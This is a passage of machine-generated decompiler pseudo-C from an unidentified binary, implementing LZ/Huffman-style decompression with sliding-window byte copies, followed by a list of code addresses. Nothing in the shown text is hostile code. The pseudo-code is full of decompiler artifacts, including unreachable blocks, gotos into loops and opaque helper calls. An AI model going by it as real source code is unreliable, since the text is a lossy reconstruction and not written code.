															__eflags =  *((char*)(_t760 + 0x4c38));
															 *(_t760 + 0x68) = _v12;
															if( *((char*)(_t760 + 0x4c38)) == 0) {
																_a4 = _v12;
																_t420 = _t760 + 0x70;
																_t697 =  *_t420;
																_t593 = _t697 - _v16;
																_t539 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																_v8 = _t593;
																__eflags = _t593 - _t539;
																if(_t593 >= _t539) {
																	goto L162;
																}
																__eflags = _t697 - _t539;
																if(_t697 >= _t539) {
																	goto L162;
																}
																_t421 =  *((intOrPtr*)(_t760 + 0x4b34));
																_t543 = _t421 + _t593;
																_v8 = _t421 + _t697;
																_t423 = _v12;
																 *(_t760 + 0x70) = _t423 + _t697;
																__eflags = _v16 - _t423;
																if(_v16 >= _t423) {
																	__eflags = _t423 - 8;
																	if(_t423 < 8) {
																		L154:
																		__eflags = _a4;
																		if(_a4 > 0) {
																			__eflags = _a4 - 1;
																			_t604 = _v8;
																			 *_t604 =  *_t543;
																			if(_a4 > 1) {
																				__eflags = _a4 - 2;
																				 *((char*)(_t604 + 1)) =  *((intOrPtr*)(_t543 + 1));
																				if(_a4 > 2) {
																					__eflags = _a4 - 3;
																					 *((char*)(_t604 + 2)) =  *((intOrPtr*)(_t543 + 2));
																					if(_a4 > 3) {
																						__eflags = _a4 - 4;
																						 *((char*)(_t604 + 3)) =  *((intOrPtr*)(_t543 + 3));
																						if(_a4 > 4) {
																							__eflags = _a4 - 5;
																							 *((char*)(_t604 + 4)) =  *((intOrPtr*)(_t543 + 4));
																							if(_a4 > 5) {
																								__eflags = _a4 - 6;
																								 *((char*)(_t604 + 5)) =  *((intOrPtr*)(_t543 + 5));
																								if(_a4 > 6) {
																									 *((char*)(_t604 + 6)) =  *((intOrPtr*)(_t543 + 6));
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																		continue;
																	}
																	_t432 = _v12 >> 3;
																	__eflags = _t432;
																	_v16 = _t432;
																	do {
																		E0041C290(_t543, _t758, _t760, _v8, _t543, 8);
																		_v8 = _v8 + 8;
																		_a4 = _a4 - 8;
																		_t761 = _t761 + 0xc;
																		_t543 = _t543 + 8;
																		_t362 =  &_v16;
																		 *_t362 = _v16 - 1;
																		__eflags =  *_t362;
																	} while ( *_t362 != 0);
																	goto L154;
																}
																__eflags = _t423 - 8;
																if(_t423 < 8) {
																	goto L154;
																}
																_t434 = _t423 >> 3;
																__eflags = _t434;
																_t605 = _t434;
																_t435 = _v8;
																do {
																	_a4 = _a4 - 8;
																	 *_t435 =  *_t543;
																	 *((char*)(_t435 + 1)) =  *((intOrPtr*)(_t543 + 1));
																	 *((char*)(_t435 + 2)) =  *((intOrPtr*)(_t543 + 2));
																	 *((char*)(_t435 + 3)) =  *((intOrPtr*)(_t543 + 3));
																	 *((char*)(_t435 + 4)) =  *((intOrPtr*)(_t543 + 4));
																	 *((char*)(_t435 + 5)) =  *((intOrPtr*)(_t543 + 5));
																	 *((char*)(_t435 + 6)) =  *((intOrPtr*)(_t543 + 6));
																	 *((char*)(_t435 + 7)) =  *((intOrPtr*)(_t543 + 7));
																	_t543 = _t543 + 8;
																	_t435 = _t435 + 8;
																	_t605 = _t605 - 1;
																	__eflags = _t605;
																} while (_t605 != 0);
																_v8 = _t435;
																goto L154;
															} else {
																_push( *(_t760 + 0xe6dc));
																_push(_t760 + 0x70);
																_push(_v16);
																_push(_v12);
																goto L77;
															}
														}
														_t544 = _t760 + 0x2d5c + _t585 * 4;
														while(1) {
															__eflags = _t408 -  *_t544;
															if(_t408 <  *_t544) {
																break;
															}
															_t585 = _t585 + 1;
															_t544 = _t544 + 4;
															__eflags = _t585 - 0xf;
															if(_t585 < 0xf) {
																continue;
															}
															goto L135;
														}
														_t696 = _t585;
														goto L135;
													}
													_t612 = 0x10;
													_t444 = _t408 >> _t612 - _t532;
													_t615 = ( *(_t444 + _t760 + 0x2de0) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t615 >> 3);
													 *(_t758 + 4) = _t615 & 0x00000007;
													_t412 =  *(_t760 + 0x31e0 + _t444 * 2) & 0x0000ffff;
													goto L138;
												} else {
													goto L126;
												}
												do {
													L126:
													 *_t405 =  *((intOrPtr*)(_t405 - 4));
													_t583 = _t583 - 1;
													_t405 = _t405 - 4;
													__eflags = _t583;
												} while (_t583 > 0);
												goto L127;
											}
											goto L107;
										}
										_push( &_v32);
										_t453 = E00414290(_t760, _t758);
										__eflags = _t453;
										if(_t453 == 0) {
											goto L104;
										}
										goto L103;
									} else {
										_t457 = _t530 - 0x106;
										__eflags = _t457 - 8;
										if(_t457 >= 8) {
											_t554 = (_t457 >> 2) - 1;
											_v16 = ((_t457 & 0x00000003 | 0x00000004) << _t554) + 2;
											__eflags = _t554;
											if(_t554 > 0) {
												_t506 = E0040978C(_t758);
												_t676 = 0x10;
												_v16 = _v16 + (_t506 >> _t676 - _t554);
												_t509 =  *(_t758 + 4) + _t554;
												 *_t758 =  *_t758 + (_t509 >> 3);
												_t510 = _t509 & 0x00000007;
												__eflags = _t510;
												 *(_t758 + 4) = _t510;
											}
										} else {
											_v16 = _t457 + 2;
										}
										_a4 = _v16;
										_t464 = E0040978C(_t758);
										_t733 =  *(_t760 + 0x1004);
										_t465 = _t464 & 0x0000fffe;
										__eflags = _t465 -  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4));
										if(_t465 >=  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4))) {
											_t555 = 0xf;
											_t633 = _t733 + 1;
											__eflags = _t633 - _t555;
											if(_t633 >= _t555) {
												L49:
												_t635 =  *(_t758 + 4) + _t555;
												 *(_t758 + 4) = _t635 & 0x00000007;
												 *_t758 =  *_t758 + (_t635 >> 3);
												_t637 = 0x10;
												_t468 = (_t465 -  *((intOrPtr*)(_t760 + 0xf80 + _t555 * 4)) >> _t637 - _t555) +  *((intOrPtr*)(_t760 + 0xfc4 + _t555 * 4));
												__eflags = _t468 -  *((intOrPtr*)(_t760 + 0xf80));
												if(_t468 >=  *((intOrPtr*)(_t760 + 0xf80))) {
													_t468 = 0;
													__eflags = 0;
												}
												_t469 =  *(_t760 + 0x1c08 + _t468 * 2) & 0x0000ffff;
												goto L52;
											} else {
												_t753 = _t760 + 0xf84 + _t633 * 4;
												while(1) {
													__eflags = _t465 -  *_t753;
													if(_t465 <  *_t753) {
														_t555 = _t633;
														goto L49;
													}
													_t633 = _t633 + 1;
													_t753 = _t753 + 4;
													__eflags = _t633 - 0xf;
													if(_t633 < 0xf) {
														continue;
													} else {
														goto L49;
													}
												}
												goto L49;
											}
										} else {
											_t670 = 0x10;
											_t505 = _t465 >> _t670 - _t733;
											_t673 = ( *(_t505 + _t760 + 0x1008) & 0x000000ff) +  *(_t758 + 4);
											 *_t758 =  *_t758 + (_t673 >> 3);
											 *(_t758 + 4) = _t673 & 0x00000007;
											_t469 =  *(_t760 + 0x1408 + _t505 * 2) & 0x0000ffff;
											L52:
											__eflags = _t469 - 4;
											if(_t469 >= 4) {
												_t558 = (_t469 >> 1) - 1;
												_v12 = ((_t469 & 0x00000001 | 0x00000002) << _t558) + 1;
												__eflags = _t558;
												if(_t558 <= 0) {
													L71:
													_t559 = _v12;
													__eflags = _t559 - 0x100;
													if(_t559 > 0x100) {
														_a4 = _v16 + 1;
														__eflags = _t559 - 0x2000;
														if(_t559 > 0x2000) {
															_a4 = _a4 + 1;
															__eflags = _t559 - 0x40000;
															if(_t559 > 0x40000) {
																_t147 =  &_a4;
																 *_t147 = _a4 + 1;
																__eflags =  *_t147;
															}
														}
													}
													__eflags =  *((char*)(_t760 + 0x4c38));
													_t640 = _a4;
													 *((intOrPtr*)(_t760 + 0x60)) =  *((intOrPtr*)(_t760 + 0x5c));
													 *((intOrPtr*)(_t760 + 0x5c)) =  *((intOrPtr*)(_t760 + 0x58));
													 *((intOrPtr*)(_t760 + 0x58)) =  *((intOrPtr*)(_t760 + 0x54));
													 *((intOrPtr*)(_t760 + 0x54)) = _t559;
													 *(_t760 + 0x68) = _t640;
													_t477 = _t760 + 0x70;
													if( *((char*)(_t760 + 0x4c38)) == 0) {
														_t736 =  *_t477;
														_v8 = _t640;
														_t642 = _t736 - _t559;
														_t561 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
														_v16 = _t642;
														__eflags = _t642 - _t561;
														if(_t642 >= _t561) {
															L97:
															__eflags = _a4;
															if(_a4 <= 0) {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
															}
															L98:
															_t562 =  *(_t760 + 0xe6dc);
															do {
																_v8 = _v8 - 1;
																 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t477)) =  *((intOrPtr*)((_t642 & _t562) +  *((intOrPtr*)(_t760 + 0x4b34))));
																_t562 =  *(_t760 + 0xe6dc);
																_t642 = _v16 + 1;
																__eflags = _v8;
																_v16 = _t642;
																 *_t477 =  *_t477 + 0x00000001 & _t562;
															} while (_v8 > 0);
															continue;
															do {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
																goto L97;
															} while (_a4 <= 0);
															goto L98;
														}
														__eflags = _t736 - _t561;
														if(_t736 >= _t561) {
															goto L97;
														}
														_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t642;
														_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t736;
														_t648 = _a4;
														 *_t477 = _t736 + _t648;
														__eflags = _v12 - _t648;
														if(_v12 >= _t648) {
															__eflags = _t648 - 8;
															if(_t648 < 8) {
																L88:
																_t625 = _v8;
																L89:
																__eflags = _t625;
																if(_t625 > 0) {
																	_t447 = _v16;
																	 *_t447 =  *_t551;
																	__eflags = _t625 - 1;
																	if(_t625 > 1) {
																		 *((char*)(_t447 + 1)) =  *((intOrPtr*)(_t551 + 1));
																		__eflags = _t625 - 2;
																		if(_t625 > 2) {
																			 *((char*)(_t447 + 2)) =  *((intOrPtr*)(_t551 + 2));
																			__eflags = _t625 - 3;
																			if(_t625 > 3) {
																				 *((char*)(_t447 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				__eflags = _t625 - 4;
																				if(_t625 > 4) {
																					 *((char*)(_t447 + 4)) =  *((intOrPtr*)(_t551 + 4));
																					__eflags = _t625 - 5;
																					if(_t625 > 5) {
																						 *((char*)(_t447 + 5)) =  *((intOrPtr*)(_t551 + 5));
																						__eflags = _t625 - 6;
																						if(_t625 > 6) {
																							 *((char*)(_t447 + 6)) =  *((intOrPtr*)(_t551 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																}
																continue;
																do {
																	while(1) {
																		 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																		if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																			goto L15;
																		} else {
																			_t540 = _t760 + 0x80;
																		}
																		goto L7;
																	}
																	L162:
																	__eflags = _v12;
																} while (_v12 <= 0);
																_t541 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t420)) =  *((intOrPtr*)((_t593 & _t541) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t541 =  *(_t760 + 0xe6dc);
																	_t593 = _v8 + 1;
																	__eflags = _a4;
																	_v8 = _t593;
																	 *_t420 =  *_t420 + 0x00000001 & _t541;
																} while (_a4 > 0);
																continue;
																do {
																	do {
																		do {
																			goto L7;
																			L107:
																			_t445 =  *(_t760 + 0x68);
																			__eflags = _t445;
																		} while (_t445 == 0);
																		__eflags =  *((char*)(_t760 + 0x4c38));
																		if( *((char*)(_t760 + 0x4c38)) == 0) {
																			_a4 = _t445;
																			_t446 = _t760 + 0x70;
																			_t713 =  *_t446;
																			_t618 = _t713 -  *((intOrPtr*)(_t760 + 0x54));
																			_t547 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																			_v16 = _t618;
																			__eflags = _t618 - _t547;
																			if(_t618 >= _t547) {
																				goto L121;
																			}
																			__eflags = _t713 - _t547;
																			if(_t713 >= _t547) {
																				goto L121;
																			}
																			_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t618;
																			_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t713;
																			_t624 = _a4;
																			 *_t446 = _t713 + _t624;
																			__eflags =  *((intOrPtr*)(_t760 + 0x54)) - _t624;
																			if( *((intOrPtr*)(_t760 + 0x54)) >= _t624) {
																				__eflags = _t624 - 8;
																				if(_t624 < 8) {
																					L120:
																					_t625 = _a4;
																					goto L89;
																				}
																				_t449 = _t624 >> 3;
																				__eflags = _t449;
																				_v12 = _t449;
																				do {
																					E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																					_v16 = _v16 + 8;
																					_a4 = _a4 - 8;
																					_t761 = _t761 + 0xc;
																					_t551 = _t551 + 8;
																					_t263 =  &_v12;
																					 *_t263 = _v12 - 1;
																					__eflags =  *_t263;
																				} while ( *_t263 != 0);
																				goto L120;
																			}
																			__eflags = _t624 - 8;
																			if(_t624 < 8) {
																				goto L120;
																			}
																			_t451 = _v16;
																			_t627 = _t624 >> 3;
																			__eflags = _t627;
																			do {
																				_a4 = _a4 - 8;
																				 *_t451 =  *_t551;
																				 *((char*)(_t451 + 1)) =  *((intOrPtr*)(_t551 + 1));
																				 *((char*)(_t451 + 2)) =  *((intOrPtr*)(_t551 + 2));
																				 *((char*)(_t451 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				 *((char*)(_t451 + 4)) =  *((intOrPtr*)(_t551 + 4));
																				 *((char*)(_t451 + 5)) =  *((intOrPtr*)(_t551 + 5));
																				 *((char*)(_t451 + 6)) =  *((intOrPtr*)(_t551 + 6));
																				 *((char*)(_t451 + 7)) =  *((intOrPtr*)(_t551 + 7));
																				_t551 = _t551 + 8;
																				_t451 = _t451 + 8;
																				_t627 = _t627 - 1;
																				__eflags = _t627;
																			} while (_t627 != 0);
																			_v16 = _t451;
																			goto L120;
																		}
																		_push( *(_t760 + 0xe6dc));
																		_push(_t760 + 0x70);
																		_push( *((intOrPtr*)(_t760 + 0x54)));
																		_push(_t445);
																		goto L77;
																		L103:
																		_t456 = E00415771(_t760,  &_v32);
																		__eflags = _t456;
																	} while (_t456 != 0);
																	goto L104;
																	L121:
																	__eflags = _a4;
																} while (_a4 <= 0);
																_t548 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t446)) =  *((intOrPtr*)((_t618 & _t548) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t548 =  *(_t760 + 0xe6dc);
																	_t618 = _v16 + 1;
																	__eflags = _a4;
																	_v16 = _t618;
																	 *_t446 =  *_t446 + 0x00000001 & _t548;
																} while (_a4 > 0);
																 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																	goto L15;
																} else {
																	_t540 = _t760 + 0x80;
																}
															}
															_t479 = _a4 >> 3;
															__eflags = _t479;
															_a4 = _t479;
															do {
																E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																_v16 = _v16 + 8;
																_v8 = _v8 - 8;
																_t761 = _t761 + 0xc;
																_t551 = _t551 + 8;
																_t195 =  &_a4;
																 *_t195 = _a4 - 1;
																__eflags =  *_t195;
															} while ( *_t195 != 0);
															goto L88;
														}
														__eflags = _t648 - 8;
														if(_t648 < 8) {
															goto L88;
														}
														_t482 = _t648 >> 3;
														__eflags = _t482;
														_t649 = _t482;
														_t483 = _v16;
														do {
															_v8 = _v8 - 8;
															 *_t483 =  *_t551;
															 *((char*)(_t483 + 1)) =  *((intOrPtr*)(_t551 + 1));
															 *((char*)(_t483 + 2)) =  *((intOrPtr*)(_t551 + 2));
															 *((char*)(_t483 + 3)) =  *((intOrPtr*)(_t551 + 3));
															 *((char*)(_t483 + 4)) =  *((intOrPtr*)(_t551 + 4));
															 *((char*)(_t483 + 5)) =  *((intOrPtr*)(_t551 + 5));
															 *((char*)(_t483 + 6)) =  *((intOrPtr*)(_t551 + 6));
															 *((char*)(_t483 + 7)) =  *((intOrPtr*)(_t551 + 7));
															_t551 = _t551 + 8;
															_t483 = _t483 + 8;
															_t649 = _t649 - 1;
															__eflags = _t649;
														} while (_t649 != 0);
														_v16 = _t483;
														goto L88;
													} else {
														_push( *(_t760 + 0xe6dc));
														_push(_t477);
														_push(_t559);
														_push(_t640);
														L77:
														E0041264A();
														while(1) {
															 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
															if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																goto L15;
															} else {
																_t540 = _t760 + 0x80;
															}
															goto L7;
														}
													}
												}
												__eflags = _t558 - 4;
												if(__eflags < 0) {
													_t486 = E00412AEB(_t758);
													_t651 = 0x20;
													_v12 = _v12 + (_t486 >> _t651 - _t558);
													_t489 =  *(_t758 + 4) + _t558;
													 *_t758 =  *_t758 + (_t489 >> 3);
													_t490 = _t489 & 0x00000007;
													__eflags = _t490;
													 *(_t758 + 4) = _t490;
													goto L71;
												}
												if(__eflags > 0) {
													_t498 = E00412AEB(_t758);
													_t668 = 0x24;
													_v12 = _v12 + (_t498 >> _t668 - _t558 << 4);
													_t569 =  *(_t758 + 4) + _t558 - 4;
													 *_t758 =  *_t758 + (_t569 >> 3);
													_t570 = _t569 & 0x00000007;
													__eflags = _t570;
													 *(_t758 + 4) = _t570;
												}
												_t491 = E0040978C(_t758);
												_t565 =  *(_t760 + 0x1ef0);
												_t492 = _t491 & 0x0000fffe;
												__eflags = _t492 -  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4));
												if(_t492 >=  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4))) {
													_t750 = 0xf;
													_t656 = _t565 + 1;
													__eflags = _t656 - _t750;
													if(_t656 >= _t750) {
														L66:
														_t658 =  *(_t758 + 4) + _t750;
														 *(_t758 + 4) = _t658 & 0x00000007;
														 *_t758 =  *_t758 + (_t658 >> 3);
														_t660 = 0x10;
														_t495 = (_t492 -  *((intOrPtr*)(_t760 + 0x1e6c + _t750 * 4)) >> _t660 - _t750) +  *((intOrPtr*)(_t760 + 0x1eb0 + _t750 * 4));
														__eflags = _t495 -  *((intOrPtr*)(_t760 + 0x1e6c));
														if(_t495 >=  *((intOrPtr*)(_t760 + 0x1e6c))) {
															_t495 = 0;
															__eflags = 0;
														}
														_t496 =  *(_t760 + 0x2af4 + _t495 * 2) & 0x0000ffff;
														goto L69;
													}
													_t568 = _t760 + 0x1e70 + _t656 * 4;
													while(1) {
														__eflags = _t492 -  *_t568;
														if(_t492 <  *_t568) {
															break;
														}
														_t656 = _t656 + 1;
														_t568 = _t568 + 4;
														__eflags = _t656 - 0xf;
														if(_t656 < 0xf) {
															continue;
														}
														goto L66;
													}
													_t750 = _t656;
													goto L66;
												} else {
													_t662 = 0x10;
													_t497 = _t492 >> _t662 - _t565;
													_t665 = ( *(_t497 + _t760 + 0x1ef4) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t665 >> 3);
													 *(_t758 + 4) = _t665 & 0x00000007;
													_t496 =  *(_t760 + 0x22f4 + _t497 * 2) & 0x0000ffff;
													L69:
													_v12 = _v12 + _t496;
													goto L71;
												}
											}
											_v12 = _t469 + 1;
											goto L71;
										}
									}
								} else {
									__eflags =  *((char*)(_t760 + 0x4c38));
									if( *((char*)(_t760 + 0x4c38)) == 0) {
										 *( *((intOrPtr*)(_t760 + 0x4b34)) +  *(_t760 + 0x70)) = _t530;
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
									} else {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
										 *(E00412612(_t760 + 0x4b38,  *(_t760 + 0x70))) = _t530;
									}
									while(1) {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
										if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
											goto L15;
										} else {
											_t540 = _t760 + 0x80;
										}
										goto L7;
									}
								}
							}
						}
						__eflags = _t398 - _t574;
						if(_t398 == _t574) {
							goto L21;
						}
						E00415346(_t760);
						_t517 =  *((intOrPtr*)(_t760 + 0x4c54));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c44));
						if(__eflags > 0) {
							goto L105;
						}
						if(__eflags < 0) {
							L20:
							__eflags =  *((char*)(_t760 + 0x4c48));
							if( *((char*)(_t760 + 0x4c48)) != 0) {
								 *((char*)(_t760 + 0x4c58)) = 0;
								return _t517;
							}
							goto L21;
						}
						_t517 =  *((intOrPtr*)(_t760 + 0x4c50));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c40));
						if(_t517 >  *((intOrPtr*)(_t760 + 0x4c40))) {
							goto L105;
						}
						goto L20;
					}
				}
				E004157DB(__ecx, _a4);
				_t517 = E004123EB(_t526, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t759 = _t760 + 0x80;
				_push(_t760 + 0x80);
				_t572 = _t760 + 4;
				_push(_t760 + 4);
				_t517 = E0041450F(_t760 + 4, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t517 = E0041462B(_t572, _t760, _t572, _t759, _t760 + 0x94);
				if(_t517 == 0) {
					goto L105;
				}
				goto L4;
			}

0x00416c47
0x00416c51
0x00416c58
0x00416ca3
0x00416ca3
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cbc
0x00416cbc
0x00416cca
0x00416ccc
0x00000000
0x00000000
0x00416ce2
0x00417282
0x00000000
0x00417284
0x00416ce8
0x00416ce9
0x00416cec
0x00416cf3
0x0041728d
0x0041728d
0x00416cf9
0x00416d04
0x00416d0b
0x00000000
0x00000000
0x00000000
0x00000000
0x00416d0b
0x00416cf3
0x00416d14
0x00416d19
0x00416d1b
0x00000000
0x00000000
0x00416d21
0x00416d21
0x00416d27
0x00416d34
0x00416d3a
0x00416d7a
0x00416d7c
0x00416d81
0x00416d87
0x00416d8c
0x00416d93
0x00416dc0
0x00416dc1
0x00416dc4
0x00416dc6
0x00416de0
0x00416de3
0x00416dea
0x00416df0
0x00416dfb
0x00416e00
0x00416e07
0x00416e0d
0x00416e0f
0x00416e0f
0x00416e0f
0x00416e11
0x00000000
0x00416dc8
0x00416dc8
0x00416dcf
0x00416dcf
0x00416dd1
0x00416dde
0x00416dde
0x00416dde
0x00416dd3
0x00416dd4
0x00416dd7
0x00416dda
0x00000000
0x00416ddc
0x00000000
0x00416ddc
0x00416dda
0x00000000
0x00416dcf
0x00416d95
0x00416d97
0x00416d9a
0x00416da4
0x00416dac
0x00416db1
0x00416db4
0x00416e19
0x00416e1e
0x00416e20
0x00416e5b
0x00416e61
0x0041725b
0x0041725d
0x00417290
0x00417296
0x004173d0
0x004173d0
0x004173d6
0x004173dc
0x004173df
0x004173e1
0x004173f0
0x004173f5
0x004173f8
0x004173fd
0x00417403
0x00417408
0x0041740f
0x0041743c
0x0041743d
0x00417440
0x00417442
0x0041745c
0x0041745f
0x00417466
0x0041746c
0x00417477
0x0041747c
0x00417483
0x00417489
0x0041748b
0x0041748b
0x0041748b
0x0041748d
0x00417495
0x00417495
0x00417498
0x004174aa
0x004174b4
0x004174b7
0x004174b9
0x004174bd
0x004174c4
0x004174c9
0x004174cf
0x004174d6
0x004174d8
0x004174d8
0x004174db
0x004174db
0x0041749a
0x0041749d
0x0041749d
0x004174de
0x004174e8
0x004174eb
0x0041750b
0x0041750e
0x00417511
0x00417515
0x00417518
0x0041751e
0x00417521
0x00417523
0x00000000
0x00000000
0x00417529
0x0041752b
0x00000000
0x00000000
0x00417531
0x00417537
0x0041753c
0x0041753f
0x00417545
0x00417548
0x0041754b
0x0041759a
0x0041759d
0x004175c6
0x004175c6
0x004175ca
0x004175d0
0x004175d6
0x004175d9
0x004175db
0x004175e1
0x004175e8
0x004175eb
0x004175f1
0x004175f8
0x004175fb
0x00417601
0x00417608
0x0041760b
0x00417611
0x00417618
0x0041761b
0x00417621
0x00417628
0x0041762b
0x00417634
0x00417634
0x0041762b
0x0041761b
0x0041760b
0x004175fb
0x004175eb
0x004175db
0x00000000
0x004175ca
0x004175a2
0x004175a2
0x004175a5
0x004175a8
0x004175ae
0x004175b3
0x004175b7
0x004175bb
0x004175be
0x004175c1
0x004175c1
0x004175c1
0x004175c1
0x00000000
0x004175a8
0x0041754d
0x00417550
0x00000000
0x00000000
0x00417552
0x00417552
0x00417555
0x00417557
0x0041755a
0x0041755c
0x00417560
0x00417565
0x0041756b
0x00417571
0x00417577
0x0041757d
0x00417583
0x00417589
0x0041758c
0x0041758f
0x00417592
0x00417592
0x00417592
0x00417595
0x00000000
0x004174ed
0x004174ed
0x004174f6
0x004174f7
0x004174fa
0x00000000
0x004174fa
0x004174eb
0x00417444
0x0041744b
0x0041744b
0x0041744d
0x00000000
0x00000000
0x0041744f
0x00417450
0x00417453
0x00417456
0x00000000
0x00000000
0x00000000
0x00417458
0x0041745a
0x00000000
0x0041745a
0x00417413
0x00417416
0x00417420
0x00417428
0x0041742d
0x00417430
0x00000000
0x00000000
0x00000000
0x00000000
0x004173e3
0x004173e3
0x004173e6
0x004173e8
0x004173e9
0x004173ec
0x004173ec
0x00000000
0x004173e3
0x00000000
0x00417296
0x00417262
0x00417266
0x0041726b
0x0041726d
0x00000000
0x00000000
0x00000000
0x00416e67
0x00416e67
0x00416e6d
0x00416e70
0x00416e82
0x00416e8c
0x00416e8f
0x00416e91
0x00416e95
0x00416e9c
0x00416ea1
0x00416ea7
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb3
0x00416eb3
0x00416e72
0x00416e75
0x00416e75
0x00416ebb
0x00416ebe
0x00416ec3
0x00416ec9
0x00416ece
0x00416ed5
0x00416f02
0x00416f03
0x00416f06
0x00416f08
0x00416f22
0x00416f25
0x00416f2c
0x00416f32
0x00416f3d
0x00416f42
0x00416f49
0x00416f4f
0x00416f51
0x00416f51
0x00416f51
0x00416f53
0x00000000
0x00416f0a
0x00416f0a
0x00416f11
0x00416f11
0x00416f13
0x00416f20
0x00416f20
0x00416f20
0x00416f15
0x00416f16
0x00416f19
0x00416f1c
0x00000000
0x00416f1e
0x00000000
0x00416f1e
0x00416f1c
0x00000000
0x00416f11
0x00416ed7
0x00416ed9
0x00416edc
0x00416ee6
0x00416eee
0x00416ef3
0x00416ef6
0x00416f5b
0x00416f5b
0x00416f5e
0x00416f70
0x00416f79
0x00416f7c
0x00416f7e
0x0041707e
0x0041707e
0x00417081
0x00417087
0x0041708d
0x00417090
0x00417096
0x00417098
0x0041709b
0x004170a1
0x004170a3
0x004170a3
0x004170a3
0x004170a3
0x004170a1
0x00417096
0x004170a6
0x004170b0
0x004170b3
0x004170b9
0x004170bf
0x004170c2
0x004170c5
0x004170c8
0x004170cb
0x004170e6
0x004170e8
0x004170ed
0x004170f5
0x004170fb
0x004170fe
0x00417100
0x00417219
0x00417219
0x0041721d
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00417223
0x00417223
0x00417229
0x0041722f
0x00417239
0x00417241
0x00417247
0x0041724b
0x0041724f
0x00417252
0x00417252
0x00417256
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00000000
0x00416ca6
0x00000000
0x00416ca6
0x00417106
0x00417108
0x00000000
0x00000000
0x00417114
0x0041711e
0x00417121
0x00417126
0x00417128
0x0041712b
0x0041717c
0x0041717f
0x004171a8
0x004171a8
0x004171ab
0x004171ab
0x004171ad
0x004171b5
0x004171b8
0x004171ba
0x004171bd
0x004171c6
0x004171c9
0x004171cc
0x004171d5
0x004171d8
0x004171db
0x004171e4
0x004171e7
0x004171ea
0x004171f3
0x004171f6
0x004171f9
0x00417202
0x00417205
0x00417208
0x00417211
0x00417211
0x00417208
0x004171f9
0x004171ea
0x004171db
0x004171cc
0x004171bd
0x00000000
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x0041763c
0x0041763c
0x0041763c
0x00417646
0x0041764c
0x00417652
0x0041765c
0x00417664
0x0041766a
0x0041766e
0x00417672
0x00417675
0x00417675
0x00417679
0x00416ca6
0x00416ca6
0x00416ca6
0x00000000
0x0041729c
0x0041729c
0x0041729f
0x0041729f
0x004172a7
0x004172ae
0x004172c6
0x004172c9
0x004172cc
0x004172d0
0x004172d8
0x004172de
0x004172e1
0x004172e3
0x00000000
0x00000000
0x004172e9
0x004172eb
0x00000000
0x00000000
0x004172f7
0x00417301
0x00417304
0x00417309
0x0041730b
0x0041730e
0x0041735b
0x0041735e
0x00417386
0x00417386
0x00000000
0x00417386
0x00417362
0x00417362
0x00417365
0x00417368
0x0041736e
0x00417373
0x00417377
0x0041737b
0x0041737e
0x00417381
0x00417381
0x00417381
0x00417381
0x00000000
0x00417368
0x00417310
0x00417313
0x00000000
0x00000000
0x00417315
0x00417318
0x00417318
0x0041731b
0x0041731d
0x00417321
0x00417326
0x0041732c
